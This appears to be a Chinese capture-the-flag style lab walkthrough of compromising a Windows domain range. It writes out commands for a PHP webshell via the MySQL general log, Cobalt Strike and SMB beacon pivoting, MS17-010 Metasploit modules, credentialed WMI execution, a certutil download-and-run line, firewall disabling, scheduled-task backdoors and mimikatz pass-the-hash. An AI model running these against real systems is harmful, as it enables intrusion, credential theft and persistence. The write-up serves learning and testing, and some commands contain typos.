发布于2022年11月5日3年前 0x00 前言之前在打一个域环境的时候出现了域内主机不出网的情况,当时用的是cs的socks代理将不出网主机的流量代理到了边缘主机上。当时没有考虑太多,下来之后想到搭一个环境复现一下当时的情况,看有没有更简便的方法能够打下不出网的主机。机缘巧合之下,发现了这个域环境还不错,再复现的过程中也有一些知识触及了我的知识盲区,也收获了许多新的知识。特地把过程记录下来,与想要学习打域内不出网主机的师傅们共同分享。0x01 靶场地址分配内网网段:192.168.52.0/24外网网段:192.168.10.0/24攻击机:kali:192.168.10.11靶场:win7(内):192.168.52.143win7(外):192.168.10.15域内主机:Winserver2003:192.168.52.141Winserver2008:192.168.52.138其中win7可以外网、内网通信,域内主机只能内网之间进行通信一开始DCping不通win7,win7关闭防火墙之后可以ping通打开C盘下的phpstudy目录打开web服务0x02 web服务器渗透nmap探测端口nmap -sS -P0 -sV -O 192.168.10.15开了80端口,尝试访问web地址,发现为php探针滑到最底部,发现网站底部有一个MySQL数据库连接检测弱口令root/root连接成功扫描后台我这里用的是御剑,但是好像很拉,因为在我打完这个靶场之后再去网上看的时候发现他们很多扫出来一个cms,通过cms也能拿shell,这里我就不演示怎么用cms弱口令进后台写shell了,如果有感兴趣的小伙伴可以自行搜索一下发现phpmyadmin目录,还是root/root弱口令登陆成功进入后界面如下所示0x03 通过phpmyadmin写shell通过phpmyadmin写shell有两种方式首先我尝试 select into outfile 直接写入,但是他这里secure_file_priv的值为NULL,所以无法提权只能使用另外一种方法,用全局日志写shellSHOW VARIABLES LIKE '%general%' 查看配置,可以看到全局日志是处于关闭的状态,gengeral_log_file返回了日志的绝对地址那这里我先把它的全局日志打开,再往它路径里面写入一个一句话木马set global general_log = on; 开启全局日志后修改绝对路径,注意这里有一个坑,日志给我们返回的路径是C:\\phpStudy\\MySQL\\data\\stu1.log,但是mysql访问的绝对地址为C:\\phpStudy\\WWW目录下的文件,所以这个地方写shell必须要写到WWW目录下才能够用蚁剑连接上set global general_log_file='C:\\phpStudy\\WWW\\shell.php'; 这里再写入一句话木马select '<?php eval($_POST[cmd]);?>' 然后再上蚁剑连接即可可以看到连接成功0x03 内网信息搜集查看下系统的权限,一上来就是administrator权限就很舒服ipconfig /all查看网络信息,域环境+双网卡tasklist /svc粗略看了一下,似乎是没有杀软的想着没有杀软,那么直接用最简单粗暴的上cs更省心,上传一个cs生成的木马exe到目标主机上用计划任务上线cs成功上线0x04 内网渗透信息搜集net view查看域信息使用cs自带的端口扫描扫一波主机扫出来所有的主机如下hashdump抓一波hashlogonpasswords抓一波明文所有凭证如下,打码的原因是因为之前登陆的时候密码要重置,弄了一个带有个人信息的密码思路这里我测试了一下,因为目标主机没有开启防火墙,是能够通过cs自带的psexec一波横向抓域控和域内机器密码的,但是鉴于这个win7双网卡且域内另外主机不出网的情况,练习一下如何打不出网的主机不出网机器上线一般有以下几种方式:使用smb beacon配置listener通过HTTP代理上线使用pystinger搭建socks4代理这里我使用SMB beacon这个方法SMBBeacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMBbeacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线首先得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smbbeacon使目标主机上线1.使用条件具有 SMB Beacon 的主机必须接受 445 端口上的连接。只能链接由同一个 Cobalt Strike 实例管理的 Beacon。利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。2.使用方法(1)建立smb listener(2)在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator,即拥有目标主机管理员权限(3)连接成功,可以看到smb beacon上线的主机右侧有∞∞标识使用这种方法上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断0x05 内网横向渗透思路用Ladon扫一波内网的永恒之蓝,发现这几台主机都存在MS17-010ms17010常见的几种打法:msfladon/ladon_ms17010从msf分离出的exenessus里的execs插件这几种打法,我在这个环境中都做过尝试。过程就不一一叙述了,直接说我测试的结果msf是最稳定的,但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳,并且在这种不出网网络不稳定的情况下成功率会变的更低在这种不出网的情况下,可以优先考虑使用从msf分离出的exe和ladon_ms17010来打,打成功会直接通过自定义的dll新建一个用户并加入管理员组,开启3389端口,而且还会留一个粘滞键后门根据实际情况,可考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,往往会因为运维人员的很多“好习惯”而给渗透带来很多便利,比如说“密码本.txt”cs派生msf会话msf设置监听端口cs新建端口建立对话运行拿到meterpreterms_17_010获取域控权限这里因为知道了DC是有ms_17_010这个漏洞的,所以我先尝试了用永恒之蓝打一波使用如下模块exploit/windows/smb/ms17_010_eternalblue运行之后发现exp已经打过去了但是没有session建立再换个ms17010的模块use exploit/windows/smb/ms17_010_psexec set payload windows/meterpreter/blind_tcp同样没有拿到shell,当时没有细想,后来我考虑到可能是win7处于两个网段的原因,所以用永恒之蓝直接打是拿不到shell的msf打不出网机器的ms_17_010想到之前拿到了win7的meterpreter,所以用添加路由的方式尝试一下msf在单兵作战的时候还是很稳定很香的。win7在msf上线后,因为我们已经提前知道了,存在52这个不出网的段,那么就需要在msf中添加路由1.查看路由run get_local_subnets2.添加路由run autoroute -s 192.168.52.0/243.查看添加的路由run autoroute -p4.开始攻击把shell切换到后台,再运用ms17_010_eternalblue模块这次能够成功建立连接ms_17_010模块总结漏洞检测方法:use auxiliary/scanner/smb/smb_ms17_010之后设置一下目标ip和线程即可,这里因为已经扫出存在漏洞的机器了,所以就没有进行漏洞检测。漏洞利用常使用的是:auxiliary/admin/smb/ms17_010_command exploit/windows/smb/ms17_010_eternalblue exploit/windows/smb/ms17_010_psexec这里的第一个和第三个模块需要目标开启命名管道,并且比较稳定。第二个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。在打ms17010的时候,不妨使用auxiliary/admin/smb/ms17_010_command模块探测一下是否可以使用命名管道。use auxiliary/admin/smb/ms17_010_command set rhosts 192.168.164.156 192.168.164.161 set command tasklist show options run如果命令执行成功的话就可以优先考虑这两个模块进行利用auxiliary/admin/smb/ms17_010_command exploit/windows/smb/ms17_010_psexecWMI获取域控服务器因为之前用了两个ms_17_010的模块都没有打成功,而session放在后台是后面才想到的打法,在当时模块没有打成功的情况下我决定另辟蹊径首先我打开3389端口并关闭防火墙进到win7的远程桌面注册表开启3389端口REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 关闭防火墙netsh firewall set opmode disable #windows server 2003 之前 netsh advfirewall set allprofiles state off #windows server 2003 之后 这个时候防火墙是开启,关闭防火墙,使用域用户god\\administrator/hongrisec@2020成功登录这一台win7WEB主机上传vmiexec.vbs到192.168.52.143(win7)机器上,然后执行cscript.exe vmiexec.vbs /cmd 192.168.52.138 administrator hongrisec@2020 "whoami" 因为我用vbs几次都没有回显,所以我这里使用的Ladon.exe,执行Ladon.exe wmiexec 192.168.52.138 administrator hongrisec@2020 whoami 同上面的过程一样,获取一个正向的msf连接,过程如下:首先生成一个正向的exe文件放到win7的网站目录上在win7上看一下,上传成功在win7上使用WMI执行命令certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe 成功执行,这时候在138机器(即DC-win2008)上开启6666端口监听在msf上个运行blin_tcp来获取回话成功获取域控权限,后续提权使用CVE-2018-8120提权,成功提到系统权限,这里我思考了一下用MS14-068应该也能够提权成功成功提权,上免杀mimikatz,成功抓到hash票据加计划任务获取DC这里先用msf的命令生成正向的马 yukong.exewindows/reverse_bind_tcp LHOST=192.168.10.11 LPORT=7777 把马复制到域控机器上shell copy C:\\yukong.exe \\192.168.52.138\\c$ 然后再用这个写入计划任务的方法去连接,这里马反弹会连不成功,所以使用如下命令shell schtasks /create /tn "test" /tr C:\\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2020" 挂着win7代理proxy nc -vv 192.168.52.138 7777 即可弹回DC的shell,然后清除计划任务schtasks /delete /s 192.168.52.138 /tn "test" /f 使用mimikatz进行hash传递mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141 查看DC的目录shell dir \\192.168.52.138\\c$ //dir 0x06 总结1.目标网络情况攻击机:kali:192.168.10.11目标靶机:win7(内):192.168.52.143win7(外):192.168.10.15域内主机:Winserver2003:192.168.52.141Winserver2008:192.168.52.1382.在攻击机中,通过nmap探测目标靶机开放端口,发现开放了80,445,3306等端口nmap -sS -P0 -sV -O 192.168.10.153.访问目标web 80D端口,发现系统指纹为phpstudy 探针,发现最底部有个mysql数据库连接,输入弱口令root/root可成功连接4.通过御剑对目标靶机web应用进行目录扫描,发信存在http://192.168.10.15/phpmyadmin目录,访问该目录,输入弱口令root/root即可连接成功5.尝试 select into outfile 直接写入,但是这里secure_file_priv的值为NULL,无法提权show global variables like '%secure%'6.通过全局日志写入shell, 并查看配置,发现全局日志是处于关闭的状态,gengeral_log_file返回了日志的绝对地址SHOW VARIABLES LIKE '%general%'7.开启全局日志set global general_log = on;8.修改绝对路径,日志给我们返回的路径是C:\\phpStudy\\MySQL\\data\\stu1.log,但是mysql访问的绝对地址为C:\\phpStudy\\WWW目录下的文件,所以这个地方写shell必须要写到WWW目录下才能够用蚁剑连接上set global general_log_file='C:\\phpStudy\\WWW\\shell.php';9.通过sql命令执行以下语句,即可写入shellselect '<?php eval($_POST[cmd]);?>'10.通过蚁剑成功连接一句话,发现网站根目录下存在yxcms目录11.通过蚁剑的命令终端功能执行命令进行信息收集whomai //发现目标系统为administrator权限ipconfig/all //发现目标存在双网卡,一个网卡IP地址为192.168.10.15,另外一个网卡IP地址为192.168.52.143tasklist /svc //发现目标并没有杀软12.通过CS生成一个后门文件为artifact.exe,将其通过蚁剑上传到目标系统中,并通过命令执行13.通过计划任务上线CS或者直接运行,可成功上线c:\phpstudy\WWW\artifact.exenet time \\192.168.10.15schtasks /create /TN cs /TR c:\phpstudy\WWW\artifact.exe /SC once /ST 10:5014.通过CS的beacon命令终端进行信息收集shell net view //查看域主机信息,发现有\\owa,\\root-tvi862urh,\\stu1portscan 192.168.10.0-192.168.10.255 1-1024,3389,5000-6000 arp 1024 \\使用自带的端口扫描192.168.10.0/24网段的端口15.扫描的IP和计算机名对应关系为192.168.52.138--owa--win2008192.168.52.141--root-tvi862urh--win2003192.168.52.143--stu1--win716.在CS中hash抓取,并且通过CS的凭据信息,可以看到查看到域管理员的hash值hadump //抓取到本地管理员administator的hash logonpasswords //获取到本地管理员administator的明文17.这里使用SMB beacon打内网不通信网络首先得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线,SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。使用条件:具有 SMB Beacon 的主机必须接受 445 端口上的连接。只能链接由同一个 Cobalt Strike 实例管理的 Beacon。利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据18.建立smb listenername:smbpayload: beacon SMBpipanme(c2):msagent_866c19.在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator,即拥有目标主机管理员权限用户名:administrator密码:god.orgdoamin:god.org监听器:smb会话操作:adminstor 192.168.10.15@606720.这里通过CS将lanon上传到目标系统中,然后对ms17-010进行扫描 ,发现192.168.52.143和138以及141都存在MS17-1010漏洞lanon 192.168.52.143/24 MS1701021.这里可以通过MSF模块进行MS17-010最稳定攻击22.攻击机MSF下设置监听端口msf>set lport 5555msf>lhost 192.168.10.11msf>set payload windows/meterprter/reverse_http23.cs新建端口建立对话name:msfpayload:foreign httphttp host :192.168.10.11http prot:55524.MSF下运行run获取到meterprtermsf>runmeterprter>25.通过永恒之蓝漏洞攻击DC,发现无法反弹shellmeterprter>backgroundmsf>use exploit/windows/smb/ms17_010_eternalbluemsf>set payload windows/x64/meterprter/reverse_httpmsf>set lhost 192.168.52.138msf>set lport 444426.尝试另外一个模块,进行攻击DC,成功反弹shellmsf>use exploit/windows/smb/ms17_010_psexecmsf>set payload windows/meterpreter/blind_tcpmsf>set lhost 192.168.52.138msf>set lport 444427.msf打不出网机器的ms_17_010meterprter> run get_local_subnets //查看路由meterprter> run autoroute -s 192.168.52.0/24 //添加路由meterprter> run autoroute -p //查看路由通过永恒之蓝漏洞攻击不出网的DC,发现无法反弹shellmeterprter>backgroundmsf>use exploit/windows/smb/ms17_010_eternalbluemsf>set payload windows/x64/meterprter/reverse_httpmsf>set lhost 192.168.52.138msf>set lport 4444永恒之蓝利用模块auxiliary/scanner/smb/smb_ms17_010 //永恒之蓝检查模块,可检查出管道名和漏洞auxiliary/admin/smb/ms17_010_command //比较稳定,需要管道名,有先使用exploit/windows/smb/ms17_010_eternalblue //不稳定,容易蓝屏,只需要漏洞存在,不需要管道命令exploit/windows/smb/ms17_010_psexec //比较稳定,需要管道名,有先使用28.WMI获取DC服务器通过蚁剑的命令终端将目标靶机系统win7 3389端口通过注册表开启REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /fnetstat -an |find "3389" //发现3389端口已开启netsh advfirewall set allprofiles state off //关闭防火墙使用域用户god\\administrator/hongrisec@2020成功远程桌面登录这一台win7 WEB主机通过蚁剑将vmiexec.vbs上传到192.168.52.143(win7)机器上,并执行命令,发现无法通过wmiexe脚本远程命令执行DC命令cscript.exe vmiexec.vbs /cmd 192.168.52.138 administrator hongrisec@2020 "whoami"使用的Ladon.exe,成功执行Ladon.exe wmiexec 192.168.52.138 administrator hongrisec@2020 "whoami"29.MSF正向代理上线DC在攻击MSF下执行以下命令生成MSF的正向exe后门msfvenom -p windows/x64/meterprter/bind_tcp lport=6666 -f exe >/opt/6666.exe通过蚁剑将6666.exe上传到目标靶机中,并通过HSF搭建简单的HTTP服务,将6666.exe放入其中通过以下命令,远程在DC中执行Ladon.exe wmiexec 192.168.52.138 administrator hongrisec@2020 "certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe"msf上个运行blin_tcp来获取回话msf>use exploit/multi/handlermsf>set payload windows/x64/meterprter/bind_tcpmsf>set rhost 192.168.52.138msf>set rport 3333meterprter>getuid //发现是普通域权限meterpter>upload cve-2018-8120.exe //上传提权exemeterpter>shellc:\>cve-2018-8120.exe .exe whomai //进行提权c:\>exitmeterpter>upload mz64.exe //上传mimimkatzmeterpter>shellc:\>cve-2018-8120.exe .exe mz64.exe //成功抓到hash30.票据加计划任务获取DC在CS中通过MIMIKATZ进行DC hash传递mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141shell dir \\192.168.52.138\\c$ //dir //成功列出目原文连接: https://xz.aliyun.com/t/9607
创建帐户或登录后发表意见